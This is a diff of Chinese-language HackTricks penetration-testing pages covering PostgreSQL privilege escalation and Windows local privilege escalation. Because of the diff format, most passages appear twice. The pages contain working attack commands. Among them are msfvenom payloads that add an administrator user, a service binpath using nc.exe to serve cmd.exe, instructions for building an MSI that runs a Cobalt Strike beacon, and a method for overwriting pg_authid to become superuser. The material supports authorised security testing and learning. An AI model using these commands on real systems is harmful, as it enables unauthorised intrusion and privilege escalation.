正如[**文档中所解释的**](https://www.postgresql.org/docs/current/sql-createfunction.html)带有**SECURITY DEFINER的函数**将以**拥有它的用户的权限**执行。因此,如果函数**容易受到SQL注入攻击**或者使用了一些**由攻击者控制的参数执行特权操作**,它可能被滥用以**在postgres内提升权限**。
在上述代码的第4行中您可以看到该函数具有 **SECURITY DEFINER** 标志。
在上述代码的第4行中您可以看到该函数具有**SECURITY DEFINER**标志。
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
@ -707,7 +720,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
### 使用 PL/pgSQL 进行暴力破解
**PL/pgSQL** 是一种功能齐全的编程语言,与 SQL 相比提供了更强大的过程控制。它支持使用**循环**和其他**控制结构**来增强程序逻辑。此外,**SQL语句**和**触发器**可以调用使用**PL/pgSQL语言**创建的函数。这种集成使得数据库编程和自动化具有更全面和多样化的方法。\
**PL/pgSQL** 是一种功能齐全的编程语言,与 SQL 相比具有更强的过程控制能力。它支持使用**循环**和其他**控制结构**来增强程序逻辑。此外,**SQL 语句**和**触发器**可以调用使用**PL/pgSQL 语言**创建的函数。这种集成使得数据库编程和自动化可以采用更全面和多样化的方法。\
**您可以滥用这种语言来要求 PostgreSQL 对用户凭据进行暴力破解。**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
@ -715,23 +728,25 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
{% endcontent-ref %}
### 通过覆盖内部 PostgreSQL 表进行权限提升
{% hint style="info" %}
以下权限提升向量在受限制的 SQLi 上下文中特别有用,因为所有步骤都可以通过嵌套的 SELECT 语句执行
{% endhint %}
如果您可以**读写 PostgreSQL 服务器文件**,您可以通过覆盖与内部 `pg_authid` 表关联的 PostgreSQL 磁盘文件节点,**成为超级用户**。
了解更多关于这种技术的信息[在这里](https://adeadfed.com/posts/updating-postgresql-data-without-update/)。
了解更多关于**这种技术**的信息[**在这里**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)****
攻击步骤如下:
1. 获取 PostgreSQL 数据目录
2. 获取与 `pg_authid` 表关联的文件节点的相对路径
3. 通过 `lo_*` 函数下载文件节点
4. 获取与 `pg_authid` 表关联的数据类型
5. 使用 [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) 来[编辑文件节点](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table);将所有 `rol*` 布尔标志设置为 1 以获取完全权限。
7. 通过 `lo_*` 函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件
8. *(可选)* 通过运行昂贵的 SQL 查询清除内存表缓存
9. 您现在应该具有完整超级管理员权限。
5. 使用[PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)来[编辑文件节点](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg\_authid-table);将所有 `rol*` 布尔标志设置为 1 以获取完全权限。
6. 通过 `lo_*` 函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件
7. _(可选)_ 通过运行昂贵的 SQL 查询来清除内存表缓存
8. 您现在应该具有完整超级管理员权限。
## **POST**
```
@ -741,9 +756,9 @@ msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### 记录
### 日志记录
_**postgresql.conf**_ 文件中您可以通过更改以下内容来启用postgresql日志
_**postgresql.conf**_ 文件中您可以通过更改以下内容来启用postgresql日志记录
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
@ -767,6 +782,6 @@ string pgadmin4.db
```
### pg\_hba
PostgreSQL中的客户端身份验证通过一个名为**pg_hba.conf**的配置文件进行管理。该文件包含一系列记录每个记录指定连接类型、客户端IP地址范围如果适用、数据库名称、用户名以及用于匹配连接的身份验证方法。与连接类型、客户端地址、请求的数据库和用户名匹配的第一条记录用于身份验证。如果身份验证失败没有备用选项或备份。如果没有记录匹配,则拒绝访问。
PostgreSQL中的客户端身份验证通过一个名为**pg\_hba.conf**的配置文件进行管理。该文件包含一系列记录每个记录指定连接类型、客户端IP地址范围如果适用、数据库名称、用户名以及用于匹配连接的身份验证方法。与连接类型、客户端地址、请求的数据库和用户名匹配的第一条记录用于身份验证。如果身份验证失败没有回退或备用选项。如果没有记录匹配,则拒绝访问。
在pg_hba.conf中可用的基于密码的身份验证方法有**md5**、**crypt**和**password**。这些方法在密码传输方式上有所不同MD5哈希、crypt加密或明文。需要注意的是crypt方法不能与在pg_authid中加密的密码一起使用。
在pg\_hba.conf中可用的基于密码的身份验证方法有**md5**、**crypt**和**password**。这些方法在密码传输方式上有所不同MD5哈希、crypt加密或明文。需要注意的是crypt方法不能与在pg\_authid中加密的密码一起使用。

View file

@ -4,10 +4,10 @@
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
* 您在**网络安全公司**工作吗?您想看到您的**公司在 HackTricks 中被宣传**吗?或者您想访问**PEASS 的最新版本或下载 HackTricks 的 PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 您在**网络安全公司**工作吗? 想要看到您的**公司在 HackTricks 中宣传**吗? 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF** 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFT](https://opensea.io/collection/the-peass-family)收藏品
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord 群组**](https://discord.gg/hRep4RUj7f) 或 **电报群组****关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧**
</details>
@ -34,7 +34,7 @@
### 完整性级别
**如果您不知道 Windows 中的完整性级别是什么,在继续之前阅读以下页面:**
**如果您不知道 Windows 中的完整性级别是什么,应在继续之前阅读以下页面:**
{% content-ref url="integrity-levels.md" %}
[integrity-levels.md](integrity-levels.md)
@ -42,7 +42,7 @@
## Windows 安全控制
Windows 中有不同的事物可能**阻止您枚举系统**,运行可执行文件,甚至**检测您的活动**。在开始权限提升枚举之前,您应该**阅读**以下**页面**并**枚举**所有这些**防御机制**
Windows 中有不同的事物可能**阻止您枚举系统**,运行可执行文件,甚至**检测您的活动**。 在开始权限提升枚举之前,您应该**阅读**以下**页面**并**枚举**所有这些**防御机制**
{% content-ref url="../authentication-credentials-uac-and-efs.md" %}
[authentication-credentials-uac-and-efs.md](../authentication-credentials-uac-and-efs.md)
@ -67,7 +67,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
```
### 版本漏洞
这个[网站](https://msrc.microsoft.com/update-guide/vulnerability)非常方便,可以搜索到有关微软安全漏洞的详细信息。该数据库中有超过4,700个安全漏洞显示了Windows环境所面临的**巨大攻击面**。
这个[网站](https://msrc.microsoft.com/update-guide/vulnerability)对于查找有关微软安全漏洞的详细信息非常方便。该数据库中有超过4,700个安全漏洞显示了Windows环境所面临的**巨大攻击面**。
**在系统上**
@ -105,7 +105,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### PowerShell 记录文件
### PowerShell 传输文件
您可以在[https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)了解如何打开此功能。
```bash
@ -131,20 +131,20 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
```
要查看 PowersShell 日志中的最后 15 个事件,您可以执行:
要查看PowerShell日志中的最后15个事件您可以执行
```bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **脚本块记录**
捕获脚本执行的完整活动和完整内容记录,确保在运行时记录每个代码块。该过程保留了每个活动的全面审计跟踪,对取证和分析恶意行为非常有价值。通过在执行时记录所有活动,提供了对过程的详细洞察。
捕获脚本执行的完整活动和完整内容记录,确保在运行时记录每个代码块。该过程保留了每个活动的全面审计跟踪,对取证和分析恶意行为非常有价值。通过记录执行时的所有活动,提供了对过程的详细洞察。
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
脚本块的日志事件可以在Windows事件查看器的路径中找到**应用程序和服务日志 > Microsoft > Windows > PowerShell > 运行**。\
脚本块的日志事件可以在Windows事件查看器的路径中找到:**应用程序和服务日志 > Microsoft > Windows > PowerShell > 运行**。\
要查看最后的20个事件您可以使用
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -168,7 +168,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
如果你收到这样的回复:
如果您收到如下回复:
```bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
@ -177,7 +177,7 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
那么,**它是可利用的**。如果最后一个注册表等于 0则 WSUS 条目将被忽略。
为了利用这些漏洞,您可以使用工具如:[Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - 这些是用于向非 SSL WSUS 流量注入“假”更新的中间人武器化利用脚本。
为了利用这些漏洞,您可以使用工具如:[Wsuxploit](https://github.com/pimps/wsuxploit)[pyWSUS](https://github.com/GoSecure/pywsus) - 这些是用于向非 SSL WSUS 流量注入“假”更新的中间人武器化利用脚本。
阅读研究报告:
@ -186,25 +186,25 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
**WSUS CVE-2020-1013**
[**阅读完整报告**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/)。\
基本上,这个漏洞利用的是以下缺陷:
基本上,这是该漏洞利用的缺陷:
> 如果我们有权修改本地用户代理,并且 Windows 更新使用 Internet Explorer 设置中配置的代理,因此我们有权在我们的资产上以提升的用户身份运行 [PyWSUS](https://github.com/GoSecure/pywsus) 以拦截我们自己的流量并作为提升的用户运行代码。
> 如果我们有权修改本地用户代理,并且 Windows 更新使用 Internet Explorer 设置中配置的代理,我们有权在我们的资产上以提升的用户身份运行 [PyWSUS](https://github.com/GoSecure/pywsus) 以拦截我们自己的流量并以提升的用户身份运行代码。
>
> 此外,由于 WSUS 服务使用当前用户的设置,它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用类似 HSTS 的机制来在证书上实现首次使用时的信任验证。如果用户信任并且具有正确主机名的证书被呈现,服务将接受该证书。
> 此外,由于 WSUS 服务使用当前用户的设置,它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用类似 HSTS 的机制来对证书进行首次使用时的信任验证。如果用户信任并且具有正确主机名的证书被呈现,服务将接受该证书。
您可以使用工具 [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) 来利用此漏洞(一旦被释放)。
## KrbRelayUp
在特定条件下Windows **域** 环境中存在**本地权限提升**漏洞。这些条件包括**未强制执行 LDAP 签名**的环境,用户拥有允许他们配置**基于资源的受限委派RBCD**的自身权限,并且用户有能力在域内创建计算机。重要的是要注意,这些**要求**是使用**默认设置**满足的。
在特定条件下Windows **域** 环境中存在**本地权限提升**漏洞。这些条件包括**未强制执行 LDAP 签名**的环境,用户拥有允许他们配置**基于资源的受限委派 (RBCD)** 的自身权限,并且用户有能力在域内创建计算机。重要的是要注意,这些**要求**是使用**默认设置**满足的。
在 [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) 中找到**利用**。
在 [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) 中找到**漏洞利用**。
有关攻击流程的更多信息,请查看 [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
## AlwaysInstallElevated
**如果**这两个寄存器**已启用**(值为**0x1**),则任何权限的用户都可以将 `*.msi` 文件安装(执行)为 NT AUTHORITY\\**SYSTEM**。
**如果**这两个注册表**已启用**(值为 **0x1**),则任何权限的用户都可以将 `*.msi` 文件安装(执行)为 NT AUTHORITY\\**SYSTEM**。
```bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@ -214,17 +214,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
```
如果您有一个meterpreter会话您可以使用模块**`exploit/windows/local/always_install_elevated`**来自动化这种技术。
如果您拥有一个 Meterpreter 会话,您可以使用模块 **`exploit/windows/local/always_install_elevated`** 来自动化这个技术。
### PowerUP
使用power-up中的`Write-UserAddMSI`命令在当前目录中创建一个Windows MSI二进制文件以提升权限。此脚本编写一个预编译的MSI安装程序提示添加用户/组(因此您需要GUI访问
使用 power-up 中的 `Write-UserAddMSI` 命令,在当前目录中创建一个 Windows MSI 二进制文件以提升权限。此脚本编写一个预编译的 MSI 安装程序,提示添加用户/组(因此您需要 GUI 访问):
```
Write-UserAddMSI
```
### 执行已创建的二进制文件以提升权限。
### MSI包装器
阅读此教程以了解如何使用此工具创建MSI包装器。请注意您可以包装一个 "**.bat**" 文件,如果您**只是**想要**执行** **命令行**
阅读此教程以了解如何使用此工具创建MSI包装器。请注意如果只想执行命令行,可以包装一个 "**.bat**" 文件
{% content-ref url="msi-wrapper.md" %}
[msi-wrapper.md](msi-wrapper.md)
@ -238,32 +240,32 @@ Write-UserAddMSI
### 使用Visual Studio创建MSI
* 使用 Cobalt Strike 或 Metasploit 生成一个**新的Windows EXE TCP payload**,保存在 `C:\privesc\beacon.exe`
* 打开 **Visual Studio**,选择 **创建新项目**,在搜索框中输入 "installer"。选择 **Setup Wizard** 项目,然后点击 **Next**。
* 给项目命名,**AlwaysPrivesc**,使用 **`C:\privesc`** 作为位置,选择 **将解决方案和项目放在同一目录中**,然后点击 **Create**。
* 一直点击 **Next**直到到达第3步选择要包含的文件。点击 **Add**,选择刚刚生成的 Beacon payload。然后点击 **Finish**。
* 在 **Solution Explorer** 中突出显示 **AlwaysPrivesc** 项目,在 **Properties** 中,将 **TargetPlatform****x86** 更改为 **x64**
* 使用 Cobalt Strike 或 Metasploit `C:\privesc\beacon.exe`生成一个新的Windows EXE TCP payload
* 打开 **Visual Studio**,选择 **创建新项目**,在搜索框中输入 "installer"。选择 **Setup Wizard** 项目,然后点击 **下一步**。
* 给项目命名,如 **AlwaysPrivesc**,使用 **`C:\privesc`** 作为位置,选择 **将解决方案和项目放在同一目录中**,然后点击 **创建**。
* 一直点击 **下一步**直到到达第3步选择要包含的文件。点击 **添加**,选择刚刚生成的 Beacon payload。然后点击 **完成**。
* 在 **解决方案资源管理器** 中突出显示 **AlwaysPrivesc** 项目,在 **属性** 中,将 **TargetPlatform****x86** 更改为 **x64**
* 您可以更改其他属性,例如 **Author****Manufacturer**,这可以使安装的应用程序看起来更合法。
* 右键单击项目,选择 **View > Custom Actions**。
* 右键单击 **Install**,选择 **Add Custom Action**。
* 双击 **Application Folder**,选择您的 **beacon.exe** 文件,然后点击 **OK**。这将确保在运行安装程序时立即执行 Beacon payload
* 在 **Custom Action Properties** 下,将 **Run64Bit** 更改为 **True**
* 右键单击项目,选择 **查看 > 自定义操作**。
* 右键单击 **Install**,选择 **添加自定义操作**。
* 双击 **Application Folder**,选择您的 **beacon.exe** 文件,然后点击 **确定**。这将确保在运行安装程序时立即执行 Beacon 负载
* 在 **自定义操作属性** 下,将 **Run64Bit** 更改为 **True**
* 最后,**构建**它。
* 如果显示警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`,请确保将平台设置为 x64。
### MSI安装
要在**后台**执行恶意 `.msi` 文件的**安装**
要在**后台**执行恶意 `.msi` 文件的**安装**
```
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
```
要利用这个漏洞,你可以使用_exploit/windows/local/always\_install\_elevated_
## 利用此漏洞,您可以使用_exploit/windows/local/always\_install\_elevated_
## 杀毒软件和检测器
### 审计设置
这些设置决定了什么被**记录**,所以你应该注意
这些设置决定了被**记录**的内容,因此您应该注意
```
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
```
@ -275,7 +277,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
**LAPS**旨在管理本地管理员密码,确保每个密码在加入域的计算机上都是独特的、随机的,并定期更新。这些密码安全地存储在Active Directory中只有通过ACLs被授予足够权限的用户才能访问允许他们在获得授权的情况下查看本地管理员密码。
**LAPS**旨在用于**管理本地管理员密码**,确保每个密码在加入域的计算机上是**唯一的、随机的和定期更新的**。这些密码安全地存储在Active Directory中只有通过ACLs被授予足够权限的用户才能访问允许他们在获得授权的情况下查看本地管理员密码。
{% content-ref url="../active-directory-methodology/laps.md" %}
[laps.md](../active-directory-methodology/laps.md)
@ -283,28 +285,27 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
### WDigest
如果启用明文密码将存储在LSASS本地安全性局部子系统服务。\
如果激活,**明文密码将存储在LSASS**(本地安全性局子系统服务)。\
[**有关WDigest的更多信息请查看此页面**](../stealing-credentials/credentials-protections.md#wdigest)。
```bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
```
### LSA 保护
**Windows 8.1** 开始微软引入了增强的本地安全机构LSA保护以**阻止**不受信任的进程尝试**读取其内存**或注入代码,进一步加固系统。\
**Windows 8.1** 开始微软引入了增强的本地安全机构LSA保护以**阻止**不受信任的进程**读取其内存**或注入代码,进一步加固系统。\
[**有关 LSA 保护的更多信息,请点击此处**](../stealing-credentials/credentials-protections.md#lsa-protection)。
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
```
### 凭保护
### 凭保护
**凭证保护**是在**Windows 10**中引入的。其目的是保护设备上存储的凭证免受像传递哈希攻击这样的威胁。|
[**有关凭证保护的更多信息,请点击此处。**](../stealing-credentials/credentials-protections.md#credential-guard)
**凭据保护** 是在 **Windows 10** 中引入的。其目的是保护设备上存储的凭据免受像传递哈希攻击这样的威胁。[**有关凭据保护的更多信息,请点击这里。**](../stealing-credentials/credentials-protections.md#credential-guard)
```bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
### 缓存凭据
**域凭据**由**本地安全机构**LSA进行身份验证操作系统组件使用。当用户的登录数据由注册的安全包进行身份验证时,通常会建立用户的域凭据。\
**域凭据**由**本地安全机构**LSA进行身份验证操作系统组件使用。当用户的登录数据由注册的安全包进行身份验证时,通常会建立用户的域凭据。\
[**有关缓存凭据的更多信息,请点击此处**](../stealing-credentials/credentials-protections.md#cached-credentials)。
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
@ -330,16 +331,16 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### 特权组
如果您**属于某些特权组,您可能能够提升权限**。在这里了解有关特权组以及如何滥用它们来提升权限的信息
如果您**属于某些特权组,您可能能够提升权限**。在这里了解特权组以及如何滥用它们来提升权限:
{% content-ref url="../active-directory-methodology/privileged-groups-and-token-privileges.md" %}
[privileged-groups-and-token-privileges.md](../active-directory-methodology/privileged-groups-and-token-privileges.md)
{% endcontent-ref %}
### 令牌操
### 令牌操
在这个页面了解更多关于**令牌**的信息:[**Windows Tokens**](../authentication-credentials-uac-and-efs.md#access-tokens).\
查看以下页面以了解有关有趣令牌以及如何滥用它们的信息
在这个页面了解更多关于**令牌**是什么:[**Windows 令牌**](../authentication-credentials-uac-and-efs.md#access-tokens)。\
查看以下页面以了解有关有趣令牌的信息以及如何滥用它们:
{% content-ref url="privilege-escalation-abusing-tokens/" %}
[privilege-escalation-abusing-tokens](privilege-escalation-abusing-tokens/)
@ -390,7 +391,7 @@ icacls "%%z"
)
)
```
**检查进程二进制文件夹的权限(**[**DLL劫持**](dll-hijacking.md)****
**检查进程二进制文件夹的权限([DLL劫持](dll-hijacking.md)**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@ -404,11 +405,11 @@ todos %username%" && echo.
```bash
procdump.exe -accepteula -ma <proc_name_tasklist>
```
### 不安全的图形界面应用程序
### 不安全的 GUI 应用程序
**以SYSTEM权限运行的应用程序可能允许用户生成一个CMD窗口,或浏览目录。**
**以 SYSTEM 身份运行的应用程序可能允许用户生成 CMD,或浏览目录。**
示例:"Windows 帮助和支持"Windows + F1搜索"命令提示符",点击"单击以打开命令提示符"
示例:"Windows 帮助和支持"Windows + F1搜索 "命令提示符",点击 "单击以打开命令提示符"
## 服务
@ -445,20 +446,20 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
_System error 1058 has occurred._\
_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._
您可以使用以下方法启用它:
您可以使用以下方法启用它
```bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
```
**请注意服务upnphost的运行依赖于SSDPSRV的工作适用于XP SP1**
**请注意服务upnphost依赖于SSDPSRV才能正常工作适用于XP SP1**
**另一个解决方法** 是运行:
**另一种解决方法**是运行:
```
sc.exe config usosvc start= auto
```
### **修改服务二进制路径**
在“已验证用户”组拥有服务的**SERVICE_ALL_ACCESS**权限的情况下,可以修改服务的可执行二进制文件。要修改并执行**sc**
在“已验证用户”组拥有服务的**SERVICE\_ALL\_ACCESS**权限的情况下,可以修改服务的可执行二进制文件。要修改并执行**sc**
```bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
@ -472,17 +473,18 @@ wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
```
特权可以通过各种权限进行提升:
- **SERVICE_CHANGE_CONFIG**:允许重新配置服务二进制文件。
- **WRITE_DAC**:启用权限重新配置,从而可以更改服务配置。
- **WRITE_OWNER**:允许获取所有权并重新配置权限。
- **GENERIC_WRITE**:继承更改服务配置的能力。
- **GENERIC_ALL**:也继承更改服务配置的能力。
要检测和利用此漏洞可以使用_exploit/windows/local/service_permissions_。
- **SERVICE\_CHANGE\_CONFIG**:允许重新配置服务二进制文件。
- **WRITE\_DAC**:启用权限重新配置,从而可以更改服务配置。
- **WRITE\_OWNER**:允许获取所有权并重新配置权限。
- **GENERIC\_WRITE**:继承更改服务配置的能力。
- **GENERIC\_ALL**:也继承更改服务配置的能力。
要检测和利用此漏洞可以使用_exploit/windows/local/service\_permissions_。
### 服务二进制文件权限弱
**检查是否可以修改由服务执行的二进制文件**,或者是否具有**二进制文件所在文件夹的写入权限**[**DLL劫持**](dll-hijacking.md))**。**\
**检查是否可以修改由服务执行的二进制文件**,或者是否具有**二进制文件所在文件夹的写入权限**[**DLL 劫持**](dll-hijacking.md))**。**\
您可以使用**wmic**不在system32中获取由服务执行的每个二进制文件并使用**icacls**检查您的权限:
```bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@ -507,7 +509,7 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
```
应检查**Authenticated Users**或**NT AUTHORITY\INTERACTIVE**是否拥有`FullControl`权限。如果是,则可以更改服务执行的二进制文件。
应检查**Authenticated Users**或**NT AUTHORITY\INTERACTIVE**是否拥有`FullControl`权限。如果是这样,服务执行的二进制文件可能会被更改
要更改执行的二进制文件的路径:
```bash
@ -531,7 +533,7 @@ C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
```
列出所有未加引号的服务路径,不包括属于内置Windows服务的路径
列出所有未加引号的服务路径不包括内置Windows服务的路径
```bash
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
@ -547,8 +549,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
```bash
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
**您可以使用metasploit检测和利用**这个漏洞:`exploit/windows/local/trusted\_service\_path`
您也可以使用metasploit手动创建一个服务二进制文件
**您可以使用metasploit检测和利用**这个漏洞:`exploit/windows/local/trusted\_service\_path` 您也可以手动使用metasploit创建一个服务二进制文件
```bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
```
@ -596,7 +597,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
```
### 开机启
### 开机
**检查是否可以覆盖一些将由不同用户执行的注册表或二进制文件。**\
**阅读**以下页面以了解更多有关**提升权限的有趣自启动位置**的信息:
@ -613,11 +614,11 @@ driverquery
driverquery.exe /fo table
driverquery /SI
```
## PATH DLL劫持
## PATH DLL 劫持
如果您在PATH中具有**写入权限的文件夹**您可能能够劫持进程加载的DLL并**提升权限**。
如果您在 PATH 中具有**写入权限**,您可能能够劫持进程加载的 DLL 并**提升权限**。
检查PATH中所有文件夹的权限
检查 PATH 中所有文件夹的权限:
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
@ -639,7 +640,7 @@ net share #Check current shares
```
### hosts文件
检查hosts文件中是否有硬编码的其他已知计算机
检查hosts文件中是否有其他已知计算机的硬编码信息
```
type C:\Windows\System32\drivers\etc\hosts
```
@ -669,7 +670,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
[**查看此页面以获取与防火墙相关的命令**](../basic-cmd-for-pentesters.md#firewall) **(列出规则,创建规则,关闭,关闭...**
更多[网络枚举命令在此处](../basic-cmd-for-pentesters.md#network)
更多[此处的网络枚举命令](../basic-cmd-for-pentesters.md#network)
### Windows子系统LinuxWSL
```bash
@ -708,7 +709,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
来自[https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows Vault 存储用户凭据,用于服务器、网站和其他程序,**Windows** 可以**自动登录用户**。乍一看,这似乎意味着用户可以存储他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等,以便通过浏览器自动登录。但实际情况并非如此。
